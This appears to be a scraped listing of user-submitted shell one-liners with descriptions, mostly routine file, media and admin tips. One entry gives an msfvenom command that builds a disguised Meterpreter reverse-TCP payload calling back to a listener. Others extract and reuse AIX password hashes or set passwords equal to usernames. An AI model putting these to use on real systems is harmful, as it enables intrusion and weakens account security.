- prescaling to correct movie aspect. videocodec: libavcodec (807x682 fourcc=34504d46 [FMP4]) Video stream: 316.800 kbit/s (39600 B/s) size: 74448 bytes 1.880 secs 47 frames Create a mpeg4 video from a jpeg picture sequence (e.g. for pencil animation) , from the current directory with mencoder syntax : mencoder mf://filemask -mf option availble for mf : * w=value : the width of the output, by d?fault : autodetected * h=value : height of the output, by default : autodetected * fps=value : framerate of the output, by default : 25 * type=value : file format type input , avaible: jpeg, png, tga, sgi ‹ First < 190 191 192 193 194 > Last › find . -maxdepth 1 -type f -size +1M -printf "%f:%s\n" | sort -t":" -k2 GNU find + sort tcpdump -i any -n tcp[13] == 2 show tcp syn packets on all network interfaces find . -type f |sed "s#.*/##g" |sort |uniq -c -d [user@localhost]$ find . -type f |sed "s#.*/##g" |sort |uniq -c -d Functions: find sed sort uniq Count and show duplicate file names Useful for C projects where header file names must be unique (e.g. when using autoconf/automake), or when diagnosing if the wrong header file is being used (due to dupe file names) xxd xxd can convert a hexdump back to binary using the -r option which can be useful for patching or editing binary files. date +%m/%d/%y%X|tr -d 'n' >>datemp.log&& sensors|grep +5V|cut -d "(" -f1|tr -d 'n'>> datemp.log && sensors |grep Temp |cut -d "(" -f1|tr -d 'n'>>datemp.log logs the date, the machine?s motherboard and CPU temperature (assumes you have lm-sensors properly setup) and the voltage level of a certain rail in the power supply, and puts all of those in a file called datemp.log Functions: cut date grep sensors tr cat datemp.log Sys Temp: +11.0?C CPU Temp: +35.5?C AUX Temp: +3.0?C sed -e 's/#.*//;/^\s*$/d' find . -type f -exec touch "{}" \; touch every file in current folder and subfolder ssh -vN hostname 2>&1 | grep "remote software version" $ ssh -vN hostname 2>&1 | grep "remote software version" debug1: Remote protocol version 2.0, remote software version OpenSSH_3.6.1p2-CERT-patched Functions: grep hostname ssh Get the version of sshd on a remote system I used this to confirm an upgrade to an SSH daemon was successful ps aux | grep [h]ttpd | cat -n Functions: cat grep ps If you're on a system that doesn't have nl, you can use cat -n. paste -d "." <(curl http://.../dist.female.first http://.../dist.male.first | cut -d " " -f 1 | sort -uR) <(curl http://..../dist.all.last | cut -d " " -f 1 | sort -R | head -5163) | tr "[:upper:]" "[:lower:]" | sed 's/$/@test.domain/g' stasia.palmer@test.domain mozell.sybounheuan@test.domain yuki.nypaver@test.domain annamae.tilbury@test.domain jaimee.warfield@test.domain cassidy.mchugh@test.domain daniele.makey@test.domain ivelisse.besancon@test.domain marylin.kocher@test.domain Functions: cut head paste sed sort tr Create unique email addresses directly from the US census site*Full command in comments ** Replace the ... in URLS with: www.census.gov/genealogy/www/data/1990surnames Couldn't fit in 256 Created on Ubuntu 9.10 but nothing out of the ordinary, should work anywhere with a little tweaking. 5163 is the number of unique first names you get when combine the male and female first name files from. http://www.census.gov/genealogy/www/data/1990surnames/names_files.html df -P | awk '$6=="/media/KINGSTON" {print $1}' Functions: awk df find the device when you only know the mount point No need for grep | awk. -P on df will force the mount point to be on the same line as the device function map-files() { find $1 -name $2 -exec ${@:3} {} \; } map a command over a list of files - map-files /lib *.so ls -la function map-files() find $1 -name $2 -exec ${@:3} {} \; for i in $(find . -name *md5checksum_file* | sed 's/\(\.\/.*\)md5checksum_file.txt/\1/'); do cd "$i"; md5sum -c "md5checksum_file.txt"; cd -; done | tee ~/checksum_results.txt | grep -v "" Functions: cd find grep md5sum sed tee use md5sum -c recursively through subdirectory tree when every directory has its own checksum file extracts path to each md5 checksum file, then, for each path, cd to it, check the md5sum, then cd - to toggle back to the starting directory. greps at the end to remove cd chattering on about the current directory. ^Rssh (reverse-i-search)`ssh': ssh hostname Just hold Ctrl-R and start typing a string (e.g. ssh). The shell will search for that string in the command history. Keep pressing Ctrl-R to cycle through all commands matching pattern. This works in other "sub-shells" too, like a python interactive session. tput setf 4 Change the terminal foreground color This will change your terminal foreground colour.Depending on the system, tput uses the terminfo or termcap database, as well as looking into the environment for the terminal type. You can use "setb" to set terminal background colour ps -ef | grep [j]ava | awk -F ' ' ' { print $1," ",$2,"\t",$(NF-2),"\t",$(NF-1),"\t",$NF } ' | sort -k4 Functions: awk grep ps sort Show WebSphere AppServer uid|pid|cell|node|jvms Tested in bash on AIX & Linux, used for WAS versions 6.0 & up. Sorts by node name. Useful when you have vertically-stacked instances of WAS/Portal. Cuts out all the classpath/optional parameter clutter that makes a simple "ps -ef | grep java" so difficult to sort through. pg_dump -U postgres [nomeDB] > db.dump Export/Backup a PostgreSQL database vmrun start /path/to/virtual_machine.vmx nogui run vmware virtual machine from the command line without the gui or X session There is no output from this command. The command boots a virtual machine and you will have to wait for the boot sequence to complete before you can ping or connect to the virtual machine via ssh/rdp/vnc/nx/etc. curl -sI http://slashdot.org/ | sed -nr 's/X-(Bender|Fry)(.*)/\1\2/p' Fry: No, no, I was just picking my nose. I'm pretty sure everyone has curl and sed, but not everyone has lynx. grep -v ^# /etc/somefile.conf | grep . $ cat yum.conf [main] cachedir=/var/cache/yum/$basearch/$releasever keepcache=0 debuglevel=2 logfile=/var/log/yum.log exactarch=1 obsoletes=1 gpgcheck=1 plugins=1 installonly_limit=3 color=never # This is the default, if you make this bigger yum won't see if the metadata # is newer on the remote and so you'll "gain" the bandwidth of not having to # download the new metadata and "pay" for it by yum not having correct # information. # It is esp. important, to have correct metadata, for distributions like # Fedora which don't keep old packages around. If you don't like this checking # interupting your command line usage, it's much better to have something # manually check the metadata once an hour (yum-updatesd will do this). # metadata_expire=90m # PUT YOUR REPOS HERE OR IN separate files named file.repo # in /etc/yum.repos.d $ grep -v ^# yum.conf | grep . easier to remember prips prips can be used to print all IP addresses of a specified range. usage: prips [options] -c print range in CIDR notation -d set the delimiter 'x' where 0 =< x =< 255 -h display this help message and exit -f set the format of addresses (hex, dec, or dot) -i set the increment to 'x' -e e.g. -e ..4. will not print 192.168.4.[0-255] Report bugs to Peter Pentchev echo 'fOo BaR' | ruby -e "p STDIN.gets.split.map(&:capitalize).join(' ')" Ruby ftw curl -u username --silent "https://mail.google.com/mail/feed/atom" | awk 'BEGIN{FS="\n";RS="(\n)?"}NR!=1{print "\033[1;31m"$9"\033[0;32m ("$10")\033[0m:\t\033[1;33m"$2"\033[0m"}' | sed -e 's,<[^>]*>,,g' | column -t -s $'\t' John Doe (doe@example.net): I have found the meaning of life !!! Suzanne Johnson (suzanne@example.com): What do you think about 42 ? Mom (mom@house.ws): You didn't accept my facebook invitation Functions: awk column sed Just an alternative with more advanced formating for readability purpose. It now uses colors (too much for me but it's a kind of proof-of-concept), and adjust columns. youtube-dl -o bun.flv http://www.youtube.com/watch?v=SfPLcQhXpCc; mplayer bun.flv -ss 03:16 -endpos 5 -vo jpeg:outdir=bun:quality=100:smooth=30:progressive -vf scale=320:240 -nosound; convert -delay 4 -loop 0 bun/*.jpg bun.gif Creates a better looking gif than the original post via imagemagick processing high quality jpgs, rather than converting directly to gif from the video itself. grep -v "^$" file Remove blank lines from a file To save the result, redirect the output to another file. grep -v "^$" file1 > file2 ‹ First < 191 192 193 194 195 > Last › vmrun list Total running VMs: 1 /opt/vmware/vmachines/debian-stable-template/debian-stable-template.vmx get a list of running virtual machines from the command line (vmware) Shows a list of running virtual machines on a vmware host (workstation/server/esx/etc.) Again, this command is vmware-specific. There are also other things you can do with `vmrun`. Just simply type vmrun by itself (no arguments) to get a readout of other things you can do with it. bash glob dot-files for i in $(ps -ef | awk '{print $2}') ; { swp=$( awk '/Swap/{sum+=$2} END {print sum}' /proc/$i/smaps ); if [[ -n $swp && 0 != $swp ]] ; then echo -n "\n $swp $i "; cat /proc/$i/cmdline ; fi; } | sort -nr 4428 9187 python/usr/share/system-config-printer/applet.py 2012 9163 gnome-panel 1516 9127 /usr/lib/gnome-settings-daemon/gnome-settings-daemon 1408 18899 /usr/lib/gvfs/gvfsd-smb--spawner:1.9/org/gtk/gvfs/exec_spaw/4 1040 1681 gnome-terminal Functions: awk cat echo ps sort Linux zsh one-liner to Determine which processes are using the most swap space currently Col 1 is swapped sum in kb Col 2 is pid of process Col 3 is command that was issued ls -l | grep ^d | sed 's:.*\ ::g' [root@arch ~]# ls -l | grep ^d | awk '{print $8}' Desktop public_html script nothing special alias busy='rnd_file=$(find /usr/include -type f -size +5k | sort -R | head -n 1) && vim +$((RANDOM%$(wc -l $rnd_file | cut -f1 -d" "))) $rnd_file' Functions: alias cut find head sort vim wc Enhancement for the 'busy' command originally posted by busybee : less chars, no escape issue, and most important it exclude small files ( opening a 5 lines file isn't that persuasive I think ;) ) This makes an alias for a command named 'busy'. The 'busy' command opens a random file in /usr/include to a random line with vim. cat -n file or cat -b file Functions: cat file number the line of a file cat -n file : number all line cat -b file : number only non empty line see man cat nmap -sP .* | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > results.txt ; for IP in {1..254} ; do echo ".${IP}" ; done >> results.txt ; cat results.txt | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | uniq -u Functions: cat echo egrep sort uniq ssh -q user@server Skip banner on ssh login prompt This allows you to skip the banner (usually /etc/issue.net) on ssh connections. Useful to avoid banners outputted to your mail by rsync cronjobs. echo $hex | perl -pe 's/(..)/chr(hex($1))/ge' convert a string of hex characters into ascii chars perl -e '@F = `ls -1`;while (<@F>){@T = stat($_);print "$_ = " . localtime($T[8]) . "\n";}' Test_DR.sh = Mon Jul 6 09:22:35 2009 Test_DR.sh-20080806-hck = Sun Aug 17 13:46:34 2008 Test_DR.sh~ = Sun Aug 17 13:49:59 2008 utk_cod-savesets = Wed Mar 14 11:20:46 2007 utkdc8 = Fri Nov 3 17:18:21 2006 Vics-data = Thu Jan 21 14:30:29 2010 Print time and year of file in Solaris (or other Unix ls command that does not have a simple "--full-list") Solaris 'ls' command does not have a nice '--full-time' arg to make the time show after a year has passed. So I spit this out quick. It hates spaces in file names. for net in $(ip route show | cut -f1 -d\ | grep -v default); do ipcalc $net | grep Broadcast | cut -d\ -f 2; done 10.10.1.255 Functions: cut grep route List all broadcast addresses for the routes on your host. Can be used in a firewall script, e.g. to avoid logging broadcast packtes. cat /proc/mounts | awk '{print $2}' | grep "^$MOUNTPOINT" | sort -r | xargs umount Functions: awk cat grep sort xargs umount --rbind mount with submounts Original: https://bugzilla.redhat.com/show_bug.cgi?id=194342 find . -maxdepth 1 -mindepth 1 -type d -printf "%f\n" This version omits the '..' and '.' directory entries and it only prints the directory name instead of "./dir". I alias it as "lsd". curl -sm1 http://www.website.com/ | grep -o 'http://[^"]*jpg' | sort -u | wget -qT1 -i- Functions: grep sort wget download all jpg in webpage perl -e '$f = join("", <>); for (0..127) {$_ = chr($_); if (/[[:print:]]/) {print if index($f, $_) < 0}} print "\n"' Here's a perl version that only considers printable characters. Change the regex /[[:print:]]/ to look for different sets of delimiter characters. tail -n 15 /var/log/yum.log | tac Check the last 15 package operations (on yum systems) It displays, last 15 yum operations (in last operation as first row order) with its dates. Change 15 to any number of operations you need to display or remove "| tac" to see it in reverse order (last operation as last row) sed /BEGIN/,/END/s/xxx/yyy/g input.txt Replace words with sed Replace the words between BEGIN and END. l=500; x=500; y=200; d=-15;for i in `seq $x $d $y`; do beep -l $l -f $i;done Sound. Frequency Sweep Generates a frequency sweep from $x to $y, with $d numbers inbetween each step, and with each tone lasting $l milliseconds. seq 1 12 | sed 1,5d ; seq 1 12 | head --lines=-5 6 7 8 9 10 11 12 1 2 3 4 5 6 7 Functions: head sed seq skipping five lines, at top, then at bottom Strangely enough, there is no option --lines=[negative] with tail, like the head's one, so we have to use sed, which is very short and clear, you see. Strangely more enough, skipping lines at the bottom with sed is not short nor clear. From Sed one liner : # delete the last 10 lines of a file $ sed -e :a -e '$d;N;2,10ba' -e 'P;D' # method 1 $ sed -n -e :a -e '1,10!{P;N;D;};N;ba' # method 2 sudo mknod /dev/ttyS4 c 4 68 Functions: c++ mknod sudo Add another tty device using mknod command When you need to add another tty device that can automatically start at boot time grep -v "^$" filename > newfilename The ^$ within the quotes is a regular expression: ^=beginning of line, $=end of line, with no characters between. flip -u Convert Windows/DOS Text Files to Unix One character less... perl -e '$now=time; system "chsec -f /etc/security/passwd -s aixuser -a \"lastupdate=$now\""' AIX : reset aixuser password lastupdate to now using perl user=an_user awk "/^$user:\$/,/password =/ { if (\$1 == \"password\") { print \$3; } }" < /etc/security/passwd D9oKC1v3VUt/I Read AIX local user encripted password from /etc/security/passwd AIX lssec does not print the password attribute by policy # lssec -c -f /etc/security/passwd -s an_user -a password To get the password, you have to parse the /etc/security/passwd. You can reuse this password using chpasswd: echo "otheruser:D9oKC1v3VUt/I" | chpasswd -c -e -R compat lsof -iTCP -sTCP:LISTEN COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME lsof - cleaned up for just open listening ports, the process, and the owner of the process - simple as lsof man suggests ‹ First < 192 193 194 195 196 > Last › mplayer -vc null -vo null -ao pcm Extracting the audio part of a track as a wav file sed 's/,/\n/g' file.old | sed ':loop;/^\"/N;s/\n/,/;/[^\"]$/t loop' | sed 'N;N;N;s/\n/@/g' > file.new Rebuild a Delimited File with a Unique Delimiter Useful for CSV files. In the command, the file in question is comma delimited but contains double quoted fields containing commas and contains no @ symbols (as confirmed with http://www.commandlinefu.com/commands/view/9998/delimiter-hunting) with each line containing four fields. This command converts the delimiting commas to @s while preserving the commas in the fields. alias scd='dirs -v; echo -n "select number: "; read newdir; cd -"$newdir"' $ cd programs/ $ cd $ scd 0 ~ 1 ~/programs select number: Functions: alias cd echo read change to the selected directory for zsh users od -vt x1 /tmp/spaghettifile View the octal dump of a file mtx -f /dev/sg13 status | grep EXPORT | cut -c 56-63 S00009L3 Report What Tape is in Autoloader Mailslot (using Barcode Label) This reports directly using mtx what Tape is in the mailslot (Import/Export tray) on most autoloaders. You will need to change /dev/sg13 to your autloader device file and adjust the 63 at the end to your tape label character length(ie 63 for 8 characters 64 for 9 characters) perl -e 'foreach (@ARGV) {@T=stat($_); print localtime($T[8])." - ".$_."\n"}' Print time and year of file in Solaris (or other Unix ls command that does not have a simple find . -name "*.jar" | while read line; do echo "### $line "; unzip -l $line; done | grep "^###\|you-string" |less IFS=$'\n'; i=1; ls -lt *mp3 | cut -d ":" -f2 | cut -d " " -f2- | while read f; do mv "$f" $(echo "$i"."$f"); ((i++)); done $> touch a.mp3 b.mp3 c.mp3 d.mp3 $> ls a.mp3 b.mp3 c.mp3 d.mp3 $> IFS=$'\n'; i=1; ls -lt *mp3 | cut -d ":" -f2 | cut -d " " -f2- | while read f; do mv "$f" $(echo "$i"."$f"); ((i++)); done 1.a.mp3 2.b.mp3 3.c.mp3 4.d.mp3 Functions: cut echo ls mv read number files in directory according to their modification time i use this after ripping internet radio streams to number the files as they originally played (even though streamripper can do this with -q). to number other types of files, or all files, just change the *mp3. to rename directories only you could use ... ls -lt | grep ^d | cut -d ":" -f2 | cut -d " " -f2- | while read ... apachectl fullstatus check apache2 status with a lot of details pv -t -p /path/to/sqlfile.sql | mysql -uUSERNAME -pPASSWORD -D DATABASE_NAME Command to import Mysql database with a progress bar. curl -Is http://www.google.com | grep -E '^Server' Check remote hosts server sed "s/\([a-zA-Z]*\:\/\/[^,]*\),\(.*\)/\\2\<\/a\>/" search engine turn url and link text into a hyperlink an extension of command 9986 by c3w, allows for link text. http://google.com,search engine will link the hyperlink with the text after the url instead of linking with the url as linktext cat somefilehere.txt | ssh-xfer nametocallfile.txt - send files via ssh-xfer from http://matt.ucc.asn.au/ssh-xfer/ "ssh-xfer is a hackish but handy way of transferring files from remote hosts to your local computer. Firstly, you need to run a slightly modified SSH authentication agent program on your local computer. Patches are available for both OpenSSH and PuTTY, see below. If you haven't used a SSH agent program before, this article seems to be reasonable, or you can look at the OpenSSH/PuTTY docs. You don't need any modifications to your ssh client or server programs - only the modified SSH authentication agent, and the extra ssh-xfer program." gdb command: apropos Functions: apropos gdb Search gdb help pages Most of you are probably familiar with the "apropos" command for searching man pages. However, did you know there's a similar command inside of gdb? If, for example, you wanted to know all gdb commands that related to threads, you could type "apropos thread". Type "help some_command" to receive more information about a command. Type "help" by itself to see a list of help topics. for i in `svn status | egrep '^(M|A)' | sed -r 's/\+\s+//' | awk '{ print $2 }'` ; do if [ ! -d $i ] ; then php -l $i ; fi ; done No syntax errors detected in blah/crap.php No syntax errors detected in thing/stuff.php PHP Warning: Unterminated comment starting line 38 in otherthing/include/bootstrap.php on line 38 Check syntax of all PHP files before an SVN commit Really only valuable in a PHP-only project directory. This is using standard linux versions of the tools. On most older BSD variants of sed, use -E instead of -r. Or use: sed 's/\+[[:space:]]\{1,\}//' instead. for f in $(find * -maxdepth 0 -type f); do file=$(find ~/target -name $f); if [ -n "$file" ]; then cp $file ${file}.bak; mv $f $file; fi; done Functions: cp find mv Overwrite local files from copies in a flat directory, even if they're in a different directory structure You could start this one with for f in *; do BUT using the find with "-type f" ensures you only get files not any dirs you might have It'll also create backups of the files it's overwriting Of course, this assumes that you don't have any files with duplicated filenames in your target structure mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mjpeg -o dvd.avi dvd://0 Rips DVD to lossless encoded video file. Reencodes audio to CBR MP3 for correct audio to video syncing. Be sure to have enough free disk space. grep -vh '^[[:space:]]*\(#\|$\)' cat a config file removing all comments and blank lines echo $((1+2+3+4)) Add a list of numbers 2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1 |sed '2d;s/^0\+ //;s/ /:/g' Get Stuff. git daemon --reuseaddr --verbose --export-all --base-path=/parent/of/bare/git/repos (git daemon has no startup output) Serve one or more git repositories Use this to start git daemon serving all git repos under a path. pushd .> /dev/null; cd /; for d in `echo $OLDPWD | sed -e 's/\// /g'`; do cd $d; echo -n "$d "; ls -ld .; done; popd >/dev/null someserver:/var/local/.ssh# pushd .> /dev/null; cd /; for d in `echo $OLDPWD | sed -e 's/\// /g'`; do cd $d; echo -n "$d "; ls -ld .; done; popd >/dev/null var drwxr-xr-x 18 root root 4096 2009-03-03 11:44 . local drwxrwsr-x 8 root staff 4096 2009-09-14 17:11 . .ssh drwx------ 2 www nogroup 4096 2009-09-14 17:11 . # h?h?, local/ is group writable, ssh will refuse key authentication Functions: cd echo ls sed Show current folder permission recursively from /, useful for debugging ssh key permission Can easily be scripted in order to show permission "tree" from any folder. Can also be formated with column -t { pushd .> /dev/null; cd /; for d in `echo $OLDPWD | sed -e 's/\// /g'`; do cd $d; echo -n "$d "; ls -ld .; done; popd >/dev/null ; } | column -t from http://www.commandlinefu.com/commands/view/3731/using-column-to-format-a-directory-listing awk -F":" '{ print $1 }' /etc/passwd | while read UU ; do STATUS=$(passwd -S ${UU} | grep locked 2>/dev/null) ; if [[ ! -z ${STATUS} ]] ; then echo "Account ${UU} is locked." ; fi ; done Functions: awk echo grep passwd read Sometimes you just want a quick way to find out if a certain user account is locked [Linux]. grep -v '^#\|^$' /etc/hdparm.conf /dev/sdd { spindown_time = 241 /dev/sdf { Remove comments and empty lines from a file Removes all empty lines: ^$ and all lines starting with hash: ^# ‹ First < 193 194 195 196 197 > Last › sed 's/[ \t]*$//' < > .out; mv .out Functions: mv sed ls * | while read fin;do fout=$(echo -n $fin | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e);if [ "$fout" != "$fin" ];then echo "mv '$fin' '$fout'";fi;done | bash -x Functions: bash echo ls read sed xargs urldecode files in current directrory pkill -9 -u username php5-fcgi kills all php5-fcgi processes for user per name lsof | grep "stuff" Grabs Open Files and Then Greps Them This Will Be Cool :|dd of=./ssss.txt seek=1 bs=$(($(stat -c%s ./ssss.txt)-$(tail -n 2 ./ssss.txt|wc -c))) [root@localhost ~]# tail -n 2 ssss.txt and a.communityid = c.communityid ) > 4 before replace: [root@localhost ~]# :|dd of=./ssss.txt seek=1 bs=$(($(stat -c%s ./ssss.txt)-$(tail -n 2 ./ssss.txt|wc -c))) 0+0 records in 0 bytes (0 B) copied, 1.3e-05 seconds, 0.0 kB/s and inputsource='agent' and tradetype='??? Functions: dd stat tail wc faster replace sting with dd new way to replace text file with dd,faster than head,sed,awk if you do this with big file mysql -NBe 'show global status like "Threads_connected";' | cut -f2 Calculating number of Connection to MySQL svn diff $* | colordiff | lv -c getent shadow | while IFS=: read a b c; do grep -q '!' <<< "$b" && echo "$a LOCKED" || echo "$a not locked"; done Functions: echo getent grep read man 5 shadow I think it's more reliable, because passwd -S dont show "locked" but "L" as second field on my Archlinux for a particular user. ( unixhome alternative ). function avg { awk "/$2/{sum += \$$1; lc += 1;} END {printf \"Average over %d lines: %f\n\", lc, sum/lc}"; } $> cat 0.5-10000.dat | avg 2 Average over 10000 lines: 1.005299 Computes a columns average in a file. Input parameters = column number and optional pattern. xe sr-list Show all Storage Repositories on XenServer gnutls-cli -V -r www.google.com |grep 'Session ID' - Session ID: 46:58:74:9D:70:F3:68:7E:A1:15:50:9D:1F:EC:8F:D8:0F:13:34:C7:0C:33:A6:42:6A:ED:27:74:A7:E7:51:60 Check if SSL session caching is enabled on Google If all three Session IDs are the same, then you've got SSL session caching running. @ http://hezmatt.org/~mpalmer/blog/general/ssl_session_caching_in_nginx.html ssh 10.0.0.4 "gzip -c /tmp/backup.sql" |gunzip > backup.sql Speed Up WAN File Transfer With Compression If you have servers on Wide Area Network (WAN), you may experience very long transfer rates due to limited bandwidth and latency. To speed up you transfers you need to compress the data so you will have less to transfer. So the solution is to use a compression tools like gzip or bzip or compress before and after the data transfer. Using ssh "-C" option is not compatible with every ssh version (ssh2 for instance). find . -name "*.txt" | xargs sed -i "s/old/new/" aumix -v 90 Functions: aumix Set the master volume to 90% (Ubuntu) getent shadow | grep '^[^:]\+:!' | cut -d: -f1 Functions: cut getent grep /sbin/ifconfig eth0 | grep 'inet addr:' | awk {'print $2'} | sed 's/addr://' sed 's/^[ \t]*//;s/[ \t]*$//' < > .out; mv .out if [ -z "${BASH_VERSINFO}" ] || [ -z "${BASH_VERSINFO[0]}" ] || [ ${BASH_VERSINFO[0]} -lt 4 ]; then echo "This script requires Bash version >= 4"; exit 1; fi Make sure your script runs with a minimum Bash version If you use new features of a certain Bash version in your shell script, make sure that it actually runs with the required version. pkill -{signal} mpg321 controls mpg321 play/pause/stop by signals useful signals are: pkill -SIGSTOP mpg321 #pause pkill -SIGCONT mpg321 #resume pkill -SIGHUP mpg321 #stop pkill -SIGKILL mpg321 #force exit TIP: use aliases or shortcuts to control mpg321 from the Desktop Manager find $(pwd) -maxdepth 1 -name "*" -printf "%p\n" cat ~/SortedFile.txt | perl -wnl -e '@f=<>; END{ foreach $i (reverse 0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i] unless ($i==$r); } chomp @f; foreach $line (@f){ print $line; }}' cat ~/SortedFile.txt | perl -wnl -e '@f=<>; END{ foreach $i (reverse 0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i] unless ($i==$r); } chomp @f; foreach $line (@f){ print $line; }}' ... randome lines from SortedFile.txt The sort utility is well used, but sometimes you want a little chaos. This will randomize the lines of a text file. BTW, on OS X there is no | sort -R option! There is also no | shuf These are only in the newer GNU core... This is also faster than the alternate of: | awk 'BEGIN { srand() } { print rand() "\t" $0 }' | sort -n | cut -f2- set | fgrep " ()" $ set | fgrep " ()" .. () h () ld () pg () today () Functions: fgrep set If you issue the "set" command, you'll see a list of variables and functions. This command displays just those functions' names. ALT + d erase next word evince-thumbnailer --size=600 book.pdf book.png Create thumbnail of PDF cat large.xml | xclip cat large file to clipboard avoid mouse abuse and the constant struggle of balancing scroll velocity ... not to mention that burning sensation in your upper right shoulder .... ‹ First < 194 195 196 197 198 > Last › Make all GUI stuff show up on the display connected to the computer (when you're logged in via SSH) If you have multiple displays or monitors the DISPLAY environment variable will tell X where to send the output. This is very handy for setting up a mediacenter at home. You can plugin the computer to the TV and then ssh to the computer and set the DISPLAY as above, then run your program and it will show up on the TV. maxplayer (){ while :; do xte 'mousermove -4 20'; sleep 1s; xte 'mousermove 4 -20'; sleep 2m; done& mplayer -fs "$1"; fg; } Stop your screen saver interrupting your mplayer sessions Requires the xautomation package. sunrise() { city=${1-Seattle}; w3m "google.com/search?q=sunrise:$city" | sed -r '1,/^\s*1\./d; /^\s*2\./,$d; /^$/d' ;} $ sunrise [weat] 7:56am Wednesday (PDT) - Sunrise in Seattle, WA $ sunrise berlin [weat] 7:05am Wednesday (CET) - Sunrise in Berlin, Germany $ sunrise moscow [weat] 7:39am Wednesday (MSK) - Sunrise in Moscow, Russia $ sunrise tokyo [weat] 6:04am Wednesday (JST) - Sunrise in Tokyo, Japan Get sunrise time for any city, by name Uses Google's "OneBox" to look up the sunrise in any city by name. If no city is specified, it defaults to Seattle. For the sunset time, you change the search query to "sunset", like so, sunset() { city=${1-Seattle}; w3m "google.com/search?q=sunset:$city" | sed -r '1,/^\s*1\./d; /^\s*2\./,$d; /^$/d' ;} "OneBox" is Google's term for that box that appears before the organic search results that has useful information that Google thinks you might be looking for (mathematical calculations, weather, currency conversions, and such). I'm not actually using OneBox correctly, but that's because I'm not sure that there is a "correctly". I looked for a command line API, but couldn't find one, so I settled on parsing stdout from the fantastic w3m web browser. I use the sed script to show only the first hit by deleting everything from the beginning of the file until it sees " 1." and then deleting everything from " 2." to the end of the file. Ugly and fragile, yes, but it works fine. BUG1: w3m represents the picture of the sun rising, "weather_sunset-40.gif" as "[weat]" which is slightly confusing and probably should be removed. BUG2: The output is more easily readable by a human, which means it's less useful for scripting. ssh-keygen ptaduri@c3pusas1 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -e x86/shikata_ga_nai -i 5 -f exe -x ~/notepad.exe -k > notepod.exe Create and encode a reverse tcp meterpreter payload with shikata_ga_nai. Create and encode a reverse tcp meterpreter payload with shikata_ga_nai 5 times and use notepad.exe as template while keeping the original functionality and output to notepad.exe. watch -n1 'cat /proc/interrupts Watch changeable interrupts continuously p() { l=$LINES; case $1 in do) shift; IFS=$'\n' _pg=( $("$@") ) && _pgn=0 && p r;; r) echo "${_pg[*]:_pgn:$((l-4))}";; d) (( _pgn+=l-4 )); (( _pgn=_pgn>=${#_pg[@]}?${#_pg[@]}-l+4:_pgn )); p r;; u) (( _pgn=_pgn<=l-4?0:_pgn-$l-4 )); p r;; esac; } p is for pager Manpages, command summaries, and pretty much everything else usually have the information you're most likely to want at the beginning. Seeing just the last 40 or so lines of options from a command that has 100 is not super useful, and having to scroll up each time you want to glance at something is spastic. Run this and then do something like p do vi --help and you'll get the first screen(-mostly-)full of vi's usage info and options list Then use p d to page down, and p u to page up. To see the current page again: p r Also useful for situations like p do aptitude search ~dsmorgasbord p next #p sudo aptitude -r install libwickedawesome-perl-snoochieboochies p next p sudo aptitude -r install libwickedawesome-perl-snoochieboochies snazztasticorama-dev-v0.∞ where you're using readline up-arrow, HOME, END, etc., to quickly recall commented commands. For the unaware, that option to aptitude search will bring up all of the packages whose descriptions contain the string "smorgasbord". Depending on your distro, there could potentially be hundreds of them. awk -F: '{print "echo "$1" | passwd --stdin "$1}' passwd Set user passwords to username from partial password file top -p `pgrep pidgin` top - 15:33:55 up 6 days, 6:16, 3 users, load average: 0.14, 0.14, 0.09 Tasks: 1 total, 0 running, 1 sleeping, 0 stopped, 0 zombie Cpu(s): 0.9%us, 0.6%sy, 0.0%ni, 98.4%id, 0.1%wa, 0.0%hi, 0.0%si, 0.0%st Monitor especific process with top You can also use different process using comma: top -p `pgrep pidgin`, `pgrep python` but you have to make sure the process exists or you'll get an error grep -vE '^$|^[\s]*[;#]' strip config files of comments some configuration files, particularly those installed by default as part of a package, have tons of comment lines, to help you know what's possible to configure, and what it means. That's nice, but sometimes you just want to see what specifically what _has_ been configured. That's when I use the above snippet, which I save as a bash alias 'nocom' (for 'no comments'). Apache default config files are perfect examples of when/why this script is handy. view `ls -1 access_log.* | tail -n 1` View latest apache access log This command opens the latest, most current rotating apache access log for visual analysis and inspection. Run this command from the apache log directory. For error logs, replace access_log with error_log. for a in `ls`; do echo $a && convert $a -resize x $a; done a.jpg b.JPG c.png Batch image resize Resizes all images in the curent directory to x resolution. It is better than `mogrify -resize *.jpg` because of independence from extension of image (e.g. .jpg and .JPG) (: echo $PATH|tr : '\n'|sort|uniq -d Functions: echo tr uniq Find duplicate dir in path vim -n -es -c 'g/# CommandParse/+2,/^\s\+esac/-1 d p | % d | put p | %<' -c 'g/^\([-+]\+[^)]\+\))/,/^\(\s\+[^- \t#]\|^$\)/-1 p' -c 'q!' $0 $ ./t_extract_cmdl_options.sh --help --help) --some_option) --etc) --exemple) display embeded comments for every --opt, usefull for auto documenting your script A really fun vim oneliner for auto documenting your option's parsing in your script. # print the text embeded in the case that parse options from command line. # the block is matched with the marker 'CommandParse' in comment, until 'esac' extract_cmdl_options() # use vim for parsing: # 1st grep the case block and copy in register @p + unindent in the buffer of the file itself # 2nd filter lines which start with --opt or +opt and keep comment on hte following lines until an empty line # 3rd discard changes in the buffer and quit vim -n -es -c 'g/# CommandParse/+2,/^\s\+esac/-1 d p | % d | put p | % -c 'g/^\([-+]\+[^)]\+\))/,/^\(\s\+[^- \t#]\|^$\)/-1 p' \ -c 'q!' $0 example code:http://snipplr.com/view/25059/display-embeded-comments-for-every-opt-usefull-for-auto-documenting-your-script/ sed 's/^\s*//;s/\s*$//' -i file Sometimes those files have more than just spaces and tabs around them. Plus, this is just a little shorter. find . -name '*.part1.rar' -exec unrar e \{\} -pPASSWORD \; Extract every parted-files which had the same password Extract in the current directory the content of all parted archives. Use the same password for each one. for table in $(echo "select concat(TABLE_SCHEMA, '.', TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA NOT IN ('information_schema','mysql') and Data_free > 0" | mysql --skip-column-names); do echo "optimize table ${table}" | mysql; done; Finds all tables that need optimising and loops through them, running optimise against them. This works server-wide, on all 